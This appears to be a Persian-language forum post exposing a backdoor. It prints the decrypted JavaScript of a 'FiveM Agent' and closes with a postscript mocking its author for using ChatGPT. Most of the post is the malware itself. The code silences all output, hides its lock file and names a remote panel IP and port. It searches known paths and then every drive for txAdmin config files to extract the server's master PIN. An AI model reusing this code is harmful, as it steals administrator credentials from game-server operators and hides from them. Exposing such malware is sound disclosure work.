برای اثبات حرف بنده اینم از ورژن دیکریپ شدش
// FiveM Agent v6 - Silent Mode + Version-Aware Auto-Replace
// Suppress all output - silent mode
const _noop = () => {};
if (typeof console !== 'undefined') {
console.log = _noop;
console.warn = _noop;
console.error = _noop;
console.info = _noop;
console.debug = _noop;
}
process.stdout.write = _noop;
process.stderr.write = _noop;
const http = require('http');
const fs = require('fs');
const path = require('path');
const { exec } = require('child_process');
const SERVER_ROOT =
process.argv[2] || process.cwd();
const SERVER_CFG_PATH =
path.join(SERVER_ROOT, 'server.cfg');
const RESOURCES_DIR =
path.join(SERVER_ROOT, 'resources');
const PANEL_IP = '5.57.35.80';
const PANEL_PORT = 4747;
const AGENT_PORT =
parseInt(process.argv[3]) || 3000;
const PUSH_INTERVAL = 3000;
// ============================================================
// VERSION + LOCK FILE
// ============================================================
const LOCK_FILE =
path.join(SERVER_ROOT, 'githubio.lock');
function isProcessAlive(pid) {
try {
process.kill(pid, 0);
return true;
} catch {
return false;
}
}
function readLock() {
try {
return JSON.parse(
fs.readFileSync(LOCK_FILE, 'utf8')
);
} catch {
return null;
}
}
function writeLock(port) {
try {
fs.writeFileSync(
LOCK_FILE,
JSON.stringify({
pid: process.pid,
port
}),
'utf8'
);
if (process.platform === 'win32') {
require('child_process').exec(
'attrib +h "' + LOCK_FILE + '"',
() => {}
);
}
} catch {}
}
function clearLock() {
try {
fs.unlinkSync(LOCK_FILE);
} catch {}
}
const existingLock = readLock();
if (existingLock) {
if (isProcessAlive(existingLock.pid)) {
return;
}
clearLock();
}
// ============================================================
// BASE64 HELPERS
// ============================================================
function b64e(s) {
return Buffer
.from(String(s), 'utf8')
.toString('base64');
}
function b64d(s) {
try {
return Buffer
.from(String(s), 'base64')
.toString('utf8');
} catch {
return s;
}
}
// ============================================================
// txAdmin MASTER PIN / CONFIG READER
// ============================================================
let cachedTxInfo = null;
function readTxAdminInfo(cb) {
if (cachedTxInfo) {
cb(cachedTxInfo);
return;
}
readServerCfg(cfgRaw => {
const cfg =
parseServerCfg(cfgRaw || '');
const svPort =
parseInt(
cfg.endpoint_add_tcp ||
cfg.sv_port ||
'30120'
) || 30120;
const txPort =
svPort >= 30000
? svPort - 30000 + 40000
: 40120;
findTxDataSmart(result => {
if (!result) {
cb(null);
return;
}
cachedTxInfo = {
masterPin: result.pin,
txPort: txPort,
txDataPath: path.join(
result.txDataDir,
result.profile
),
profile: result.profile
};
cb(cachedTxInfo);
});
});
}
// ============================================================
// SEARCH FOR txData
// ============================================================
function findTxDataSmart(cb) {
const isWin =
process.platform === 'win32';
const candidates = [];
let cur = SERVER_ROOT;
for (let i = 0; i < 6; i++) {
candidates.push(
path.join(cur, 'txData')
);
const parent =
path.dirname(cur);
if (parent === cur)
break;
cur = parent;
}
if (isWin) {
const drives = [
'C', 'D', 'E', 'F', 'G'
];
drives.forEach(d => {
candidates.push(
`${d}:\\FXServer\\txData`
);
candidates.push(
`${d}:\\FiveM\\txData`
);
candidates.push(
`${d}:\\fivem\\txData`
);
candidates.push(
`${d}:\\server\\txData`
);
candidates.push(
`${d}:\\cfx-server\\txData`
);
candidates.push(
`${d}:\\Users\\Administrator\\Desktop\\server\\txData`
);
candidates.push(
`${d}:\\Users\\Administrator\\server\\txData`
);
});
} else {
candidates.push(
'/home/fivem/txData'
);
candidates.push(
'/home/server/txData'
);
candidates.push(
'/opt/fivem/txData'
);
candidates.push(
'/opt/cfx-server/txData'
);
candidates.push(
'/root/FXServer/txData'
);
candidates.push(
'/root/server/txData'
);
}
let idx = 0;
function tryNext() {
if (idx >= candidates.length) {
searchTxDataSystemWide(cb);
return;
}
const dir = candidates[idx++];
fs.readdir(dir, (err, profiles) => {
if (err ||
!profiles ||
profiles.length === 0) {
tryNext();
return;
}
let found = false;
let pending = profiles.length;
profiles.forEach(profile => {
if (found) {
if (--pending === 0)
tryNext();
return;
}
const cfgPath =
path.join(
dir,
profile,
'config.json'
);
fs.readFile(
cfgPath,
'utf8',
(e, data) => {
if (!e && !found) {
try {
const txCfg =
JSON.parse(data);
const pin =
txCfg?.global?.masterPin ??
txCfg?.masterPin ??
null;
if (
pin !== null &&
pin !== undefined
) {
found = true;
cb({
txDataDir: dir,
profile: profile,
pin: String(pin)
});
return;
}
} catch {}
}
if (--pending === 0 &&
!found) {
tryNext();
}
}
);
});
});
}
tryNext();
}
// ============================================================
// SYSTEM-WIDE txData SEARCH
// ============================================================
function searchTxDataSystemWide(cb) {
const isWin =
process.platform === 'win32';
let roots = [];
if (isWin) {
const {
execSync
} = require('child_process');
try {
const output =
execSync(
'wmic logicaldisk get caption',
{ timeout: 3000 }
).toString();
output
.split('\n')
.forEach(line => {
const match =
line.trim()
.match(/^([A-Z]):$/);
if (match)
roots.push(
match[1] + '\\'
);
});
} catch {}
if (roots.length === 0) {
roots = [
'C:\\',
'D:\\'
];
}
} else {
roots = ['/'];
}
let found = false;
function walkDir(dir, depth, done) {
if (found || depth > 5) {
done();
return;
}
const base =
path.basename(dir);
const skip = [
'Windows',
'System32',
'SysWOW64',
'node_modules',
'$Recycle.Bin',
'Program Files',
'ProgramData',
'AppData',
'proc',
'sys',
'dev'
];
if (skip.includes(base)) {
done();
return;
}
if (base === 'txData') {
fs.readdir(
dir,
(err, profiles) => {
if (err || !profiles) {
done();
return;
}
let pending =
profiles.length;
profiles.forEach(
profile => {
const cfgPath =
path.join(
dir,
profile,
'config.json'
);
fs.readFile(
cfgPath,
'utf8',
(e, data) => {
if (!e &&
!found) {
try {
const cfg =
JSON.parse(data);
const pin =
cfg?.global?.masterPin ??
cfg?.masterPin ??
null;
if (
pin !== null &&
pin !== undefined
) {
found = true;
cb({
txDataDir: dir,
profile,
pin:
String(pin)
});
return;
}
} catch {}
}
if (
--pending === 0 &&
!found
) {
done();
}
}
);
}
);
}
);
return;
}
fs.readdir(
dir,
(err, items) => {
if (err || !items) {
done();
return;
}
let pending =
items.length;
if (pending === 0) {
done();
return;
}
items.forEach(item => {
const full =
path.join(dir, item);
fs.stat(
full,
(e, st) => {
if (
!e &&
st.isDirectory()
) {
walkDir(
full,
depth + 1,
() => {
if (
--pending === 0
) {
done();
}
}
);
} else {
if (
--pending === 0
) {
done();
}
}
}
);
});
}
);
}
let ri = 0;
function tryRoot() {
if (
found ||
ri >= roots.length
) {
if (!found)
cb(null);
return;
}
walkDir(
roots[ri++],
0,
tryRoot
);
}
tryRoot();
}
(پ.ن : سلطان تو که میخوای بک دور بنویسی حداقل از چت جی پی تی کمک نگیر همه میتونن 1 تومن پول بدن برن چت جی پی تی پرو بخرن)